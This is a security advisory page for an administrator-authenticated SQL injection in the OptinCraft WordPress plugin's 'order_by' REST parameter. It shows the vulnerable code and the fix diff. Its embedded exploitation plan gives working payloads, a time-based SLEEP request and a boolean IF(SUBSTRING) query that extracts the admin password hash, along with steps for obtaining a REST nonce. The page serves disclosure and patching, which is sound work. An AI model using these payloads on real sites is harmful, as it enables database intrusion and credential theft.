OptinCraft <= 1.2.0 - Authenticated (Administrator+) SQL Injection via 'order_by' Parameter
Description
The OptinCraft – Drag & Drop Optins & Popup Builder for WordPress plugin for WordPress is vulnerable to generic SQL Injection via the 'order_by' parameter in all versions up to, and including, 1.2.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.2.1
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-8978 - OptinCraft SQL Injection ## 1. Vulnerability Summary The **OptinCraft** plugin (<= 1.2.0) is vulnerable to an authenticated SQL injection via the `order_by` parameter. The vulnerability exists because user-supplied input is passed through `sanitize_text…
Show full research plan
Exploitation Research Plan: CVE-2026-8978 - OptinCraft SQL Injection
1. Vulnerability Summary
The OptinCraft plugin (<= 1.2.0) is vulnerable to an authenticated SQL injection via the order_by parameter. The vulnerability exists because user-supplied input is passed through sanitize_text_field()—which does not neutralize SQL metacharacters—and is then concatenated directly into an ORDER BY clause within the custom Query Builder class (OptinCraft\WpMVC\Database\Query\Builder).
While the vulnerability requires Administrator-level privileges (as indicated by the Admin namespace and EnsureIsUserAdmin middleware references), it allows for full extraction of sensitive database information, including WordPress user hashes and security salts.
2. Attack Vector Analysis
- Endpoint: WordPress REST API. Based on the controller namespaces, the routes likely follow the pattern
/wp-json/optincraft/v1/admin/campaigns. - HTTP Method:
GET(for theindexmethods). - Vulnerable Parameter:
order_by. - Authentication: Required (Administrator+).
- Preconditions: The attacker must have a valid session as an administrator and a valid
wp_restnonce.
3. Code Flow
- Entry Point: The request hits
OptinCraft\App\Http\Controllers\Admin\CampaignController::index. - Validation: The
$request->validate()call ensuresorder_byis a string but does not restrict it to a whitelist of columns. - DTO Population:
// CampaignController.php:39 ->set_order_by( sanitize_text_field( (string) $request->get_param( "order_by" ) ) ?? 'id' )sanitize_text_field()is used, which is insufficient for SQL injection prevention. - Repository Call:
index()returns$this->repository->get( $dto ). - Query Construction: In
OptinCraft\App\Repositories\CampaignRepository::get():// CampaignRepository.php:61 if ( $dto->get_order_by() ) { $query->order_by( $dto->get_order_by(), $dto->get_order_direction() ); } - Sink: The
order_by()method in theBuilderclass (part of theWpMVCframework included in the plugin) likely appends the raw string to the SQL statement without using$wpdb->prepare(), asORDER BYclauses cannot be parameterized with standard placeholders in MySQL.
4. Nonce Acquisition Strategy
Accessing the REST API for optincraft requires a wp_rest nonce.
- Shortcode Identification: The plugin is a popup builder. The popups are likely loaded via the main plugin initialization.
- Setup:
- Create a page with a campaign (if necessary) to ensure the admin dashboard for OptinCraft is active.
- Use
wp post create --post_type=page --post_status=publish --post_title="Security Research" --post_content="[optincraft id='1']"(Shortcode inferred from common WP patterns).
- Acquisition:
- Navigate to the WordPress Admin dashboard:
/wp-admin/admin.php?page=optincraft. - Use
browser_evalto extract the REST nonce from the global WordPress variable:browser_eval("wpApiSettings.nonce")
- Navigate to the WordPress Admin dashboard:
5. Exploitation Strategy
We will use a time-based blind SQL injection because ORDER BY injections often do not allow for simple UNION statements depending on the Query Builder's structure.
Step 1: Verification (Time-Based)
Send a request that causes a 5-second delay if the injection is successful.
HTTP Request:
GET /wp-json/optincraft/v1/admin/campaigns?page=1&perPage=10&order_by=(SELECT(1)FROM(SELECT(SLEEP(5)))a)&order_direction=asc HTTP/1.1
Host: localhost
X-WP-Nonce: [EXTRACTED_NONCE]
Cookie: [ADMIN_COOKIES]
Step 2: Data Extraction (Boolean-Based)
If the plugin returns a list of campaigns, we can use conditional logic in the ORDER BY to change the sort order based on a boolean condition.
Payload:IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$',id,title)
- If the first character of the admin hash is
$, results sort byid. - If not, results sort by
title.
6. Test Data Setup
- Create Administrator: Ensure an admin user exists.
- Create Campaigns: Create at least two campaigns with different IDs and titles to observe sorting changes.
# Using the plugin's own logic via WP-CLI if available, or simply via the UI # For the PoC, we can use the http_request tool to create a campaign first - URL Mapping: Confirm the REST base. Check
app/Providers/RouteServiceProvider.php(if it exists) or grep forregister_rest_route.grep -r "register_rest_route" .
7. Expected Results
- Time-based: The response should take significantly longer (~5 seconds) than a normal request.
- Boolean-based: The order of items in the
dataarray of the JSON response will change depending on the truth of the SQL condition.
8. Verification Steps
After executing the exploit, verify the database state to ensure no corruption occurred and confirm the extracted data:
# Verify the admin password hash to match against extracted data
wp db query "SELECT user_pass FROM wp_users WHERE ID=1"
9. Alternative Approaches
If the REST API endpoint is not /wp-json/optincraft/v1/admin/campaigns, check the following controllers which share the same vulnerability:
OptinCraft\App\Http\Controllers\Admin\ResponseController::index- Requires
campaign_id,page, andperPage.
- Requires
OptinCraft\App\Http\Controllers\Admin\TaskController::index- Requires
campaign_id,page, andperPage.
- Requires
Example payload for ResponseController:GET /wp-json/optincraft/v1/admin/responses?campaign_id=1&page=1&perPage=10&order_by=id,(SELECT(SLEEP(5)))
Summary
The OptinCraft plugin for WordPress is vulnerable to authenticated SQL Injection via the 'order_by' parameter in several administrative REST API endpoints. This occurs because the plugin uses sanitize_text_field() on the parameter and directly concatenates it into an SQL ORDER BY clause within its query builder without proper preparation or whitelisting, allowing an administrator-level attacker to extract sensitive data from the database.
Vulnerable Code
// app/Http/Controllers/Admin/CampaignController.php lines 25-39 $request->validate( [ "page" => "required|numeric", "perPage" => "required|numeric", "search" => "sometimes|string", "order_by" => "sometimes|string", "order_direction" => "sometimes|string|in:asc,desc", ] ); $dto = ( new Read )->set_page( $request->get_param( "page" ) ) ->set_per_page( $request->get_param( "perPage" ) ) ->set_search( sanitize_text_field( (string) $request->get_param( "search" ) ) ) ->set_order_by( sanitize_text_field( (string) $request->get_param( "order_by" ) ) ?? 'id' ) ->set_order_direction( (string) $request->get_param( "order_direction" ) ?? 'desc' ); --- // app/Repositories/CampaignRepository.php lines 60-64 if ( $dto->get_order_by() ) { $query->order_by( $dto->get_order_by(), $dto->get_order_direction() ); } else { $query->latest( "id" ); }
Security Fix
@@ -26,16 +26,12 @@ "page" => "required|numeric", "perPage" => "required|numeric", "search" => "sometimes|string", - "order_by" => "sometimes|string", - "order_direction" => "sometimes|string|in:asc,desc", ] ); $dto = ( new Read )->set_page( $request->get_param( "page" ) ) ->set_per_page( $request->get_param( "perPage" ) ) - ->set_search( sanitize_text_field( (string) $request->get_param( "search" ) ) ) - ->set_order_by( sanitize_text_field( (string) $request->get_param( "order_by" ) ) ?? 'id' ) - ->set_order_direction( (string) $request->get_param( "order_direction" ) ?? 'desc' ); + ->set_search( sanitize_text_field( (string) $request->get_param( "search" ) ) ); return Response::send( $this->repository->get( $dto ) ); } @@ -47,14 +47,7 @@ } ); - $query->select( 'campaign.id', 'campaign.title', 'campaign.description', 'campaign.type', 'campaign.status', 'campaign.updated_at' )->with( 'campaign_stats' ); - - // Apply ordering - if ( $dto->get_order_by() ) { - $query->order_by( $dto->get_order_by(), $dto->get_order_direction() ); - } else { - $query->latest( "id" ); - } + $query->select( 'campaign.id', 'campaign.title', 'campaign.description', 'campaign.type', 'campaign.status', 'campaign.updated_at' )->with( 'campaign_stats' )->latest( "campaign.id" ); do_action( 'optincraft_get_campaigns_query', $query );
Exploit Outline
An attacker with Administrator-level access can exploit this vulnerability by sending a crafted GET request to administrative REST API routes such as /wp-json/optincraft/v1/admin/campaigns. By including a malicious SQL payload in the 'order_by' parameter, the attacker can perform time-based blind SQL injection (e.g., using SLEEP() functions) or boolean-based injection (e.g., using conditional logic like IF() to alter the sort order based on database values). This requires a valid WordPress REST API nonce and an active administrative session.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.